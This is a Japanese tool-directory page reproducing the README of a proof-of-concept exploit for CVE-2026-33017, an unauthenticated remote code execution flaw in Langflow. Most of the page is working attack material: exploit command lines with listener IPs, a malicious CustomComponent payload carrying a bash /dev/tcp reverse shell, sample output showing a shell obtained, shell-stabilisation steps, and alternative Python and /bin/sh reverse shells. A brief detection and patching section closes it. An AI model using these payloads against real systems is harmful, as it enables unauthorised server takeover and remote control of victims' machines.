Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33017-PoC-Reverse-Shell — CVE-2026-33017 のエクスプロイト。Langflow における未認証の RCE であり、悪意のある CustomComponent ペイロードを介したリバースシェルを可能にします。 | Kitploit
ツール/GitHubGitHub/ahseven/cve-2026-33017-poc-reverse-shell
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングリモートアクセスツール
GitHubahseven/cve-2026-33017-poc-reverse-shell

CVE-2026-33017-PoC-Reverse-Shell

CVE-2026-33017 のエクスプロイト。Langflow における未認証の RCE であり、悪意のある CustomComponent ペイロードを介したリバースシェルを可能にします。

リポジトリを見る
1020日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33017 - Langflow 未認証RCEエクスプロイト

📋 概要

CVE-2026-33017 は、Langflow バージョン 1.8.2 以前における未認証のリモートコード実行(RCE)脆弱性です。この脆弱性は /api/v1/build_public_tmp/{flow_id}/flow エンドポイントに存在し、適切な認証が欠如しているため、攻撃者がグラフコンパイル処理中に任意のPythonコードを実行できます。

⚠️ 免責事項

このエクスプロイトは教育目的および許可されたテスト目的のみに使用してください。コンピュータシステムへの不正アクセスは違法です。このツールは、自分が所有するシステム、またはテストする明示的な許可を得たシステムでのみ使用してください。

🎯 影響を受けるバージョン

バージョンステータス
<= 1.8.2脆弱
1.9.0修正済み

🔍 脆弱性の詳細

根本原因

この脆弱性は、validate.py の prepare_global_scope() 関数に起因します。この関数は、各 CustomComponent ノードのコードに対して適切なサンドボックス化を行わずに exec() を呼び出します。コンポーネントがロード/コンパイルされると、モジュールレベル(クラス定義の外側)のPythonコードが即座に実行されます。

脆弱なエンドポイント

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

特徴:

  • ❌ 認証不要
  • ❌ APIキー不要
  • ❌ 認証ヘッダー不要
  • ✅ 攻撃者が制御するデータがグラフビルダーに直接渡される

コード実行チェーン

root@kitploit:~
攻撃者 POST → build_public_tmp → start_flow_build() → create_graph() → 
Graph.from_payload() → add_nodes_and_edges() → initialize() → 
_instantiate_components_in_vertices() → instantiate_component() → 
eval_custom_component_code() → prepare_global_scope() → 
exec(compiled_code) ← 任意コード実行

🛠️ エクスプロイト

前提条件

  1. Langflowインスタンスからの公開フローID(UUID)
  2. ターゲットURL(Langflowインスタンス)
  3. リバースシェル用のリスナーIPとポート

インストール

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt

要件

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

使用方法

基本構文

root@kitploit:~
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>

例

1. リバースシェル

root@kitploit:~
# リスナーを起動
nc -lvnp 4444

# エクスプロイトを実行
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444

2. 短いオプションを使用

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

3. ローカルテスト

root@kitploit:~
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

4. カスタムタイムアウト

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30

コマンドライン引数

引数短縮形必須説明
--url-uはいターゲットURL(例: https://target.langflow.com)
--flow-id-fはい公開フローのフローID(UUID)
--lhost-lhはいリバースシェル用のリスナーIPアドレス
--lport-lpはいリバースシェル用のリスナーポート
--timeout-tいいえHTTPタイムアウト(秒)(デフォルト: 15)

🔧 仕組み

1. ペイロード構造

このエクスプロイトは、モジュールレベルでコードを実行する悪意のある CustomComponent ノードを送信します:

root@kitploit:~
import os

# これはコンポーネントのロード中に即座に実行されます
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={})

2. 実行フロー

root@kitploit:~
1. 攻撃者が POST リクエストを /api/v1/build_public_tmp/{flow_id}/flow に送信
2. Langflow が悪意のある CustomComponent を受信
3. prepare_global_scope() がコンポーネントコードに対して exec() を呼び出し
4. モジュールレベルのコードが即座に実行される
   ├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. リバースシェルが攻撃者のリスナーに接続
6. グラフのコンパイルは続行される(しかし手遅れ)

3. なぜ機能するのか

  • モジュールレベルの実行: クラス定義の外側のコードは exec() 中に実行される
  • サンドボックス化なし: exec() が制限なしで呼び出される
  • 認証なし: エンドポイントが公開アクセス可能
  • 攻撃者が制御するデータ: data パラメータが直接埋め込まれる

📊 概念実証

エクスプロイト成功時の出力

root@kitploit:~
$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

============================================================
  CVE-2026-33017 - Langflow 未認証RCE
============================================================

[!] リスナーが実行されていることを確認してください:
    nc -lvnp 4444

[+] ターゲットURL: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] エクスプロイトペイロードを送信中...
[+] ステータスコード: 200
[+] エクスプロイトが正常に送信されました!
[+] ジョブID: abc123-def456-789ghi

[*] リスナーでリバースシェルを確認してください!
[*] nc -lvnp 4444

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$

🚀 高度な使用方法

シェルの安定化

リバースシェルを取得したら:

root@kitploit:~
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# または script を使用
script /dev/null -c bash

# Ctrl+Z でバックグラウンドに
# その後実行:
stty raw -echo
fg
reset
export TERM=xterm

カスタムコマンドの実行

リバースシェルの代わりに任意のコマンドを実行するようにスクリプトを変更:

root@kitploit:~
# build_payload() 関数内:
return f"""import os

_x = os.system("{command}")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={{}})
"""

代替ペイロード

1. Pythonソケットリバースシェル

root@kitploit:~
import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

2. /bin/sh リバースシェル(bashが利用できない場合)

root@kitploit:~
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")

🛡️ 検出と防止

検出指標

  • 認証なしの /api/v1/build_public_tmp/*/flow へのPOSTリクエスト
  • os.system() または subprocess を含む不審な CustomComponent コード
  • 予期しない /tmp/rce-proof または /tmp/executed ファイル
  • Langflowコンテナからの外部への接続

防止策

  1. パッチを適用: Langflow 1.9.0 以降に更新
  2. 認証を実装: /build_public_tmp エンドポイントに適切な認証を追加
  3. 入力検証: CustomComponent のコード入力をサニタイズ
  4. サンドボックス化: exec() 呼び出しに適切なサンドボックス化を実装
  5. ネットワーク分離: Langflowインスタンスを分離

📚 参考情報

  • GitHub Advisory: GHSA-vwmf-pq79-vjvx - 公式CVE-2026-33017アドバイザリ
  • CVEエントリ: NVDのCVE-2026-33017
  • Langflow GitHubリポジトリ: langflow-ai/langflow
  • OWASP Top 10 - A03:2021 インジェクション: インジェクション防止チートシート

🗺️ タイムライン

日付イベント
2026年3月脆弱性が発見される
2026年3月16日GitHub Advisory 公開
2026年4月公開開示
2026年4月パッチリリース(1.9.0)

📝 ライセンス

このプロジェクトは教育目的のみです。自己責任で使用してください。

⚖️ 法的通知

このソフトウェアは教育目的および許可されたセキュリティテスト目的のみで提供されます。著者は、このソフトウェアの誤用または損害について責任を負いません。ユーザーは、適用されるすべての法律および規制を遵守する責任を単独で負います。


セキュリティ研究のために🖤を込めて作成

ツールをダウンロード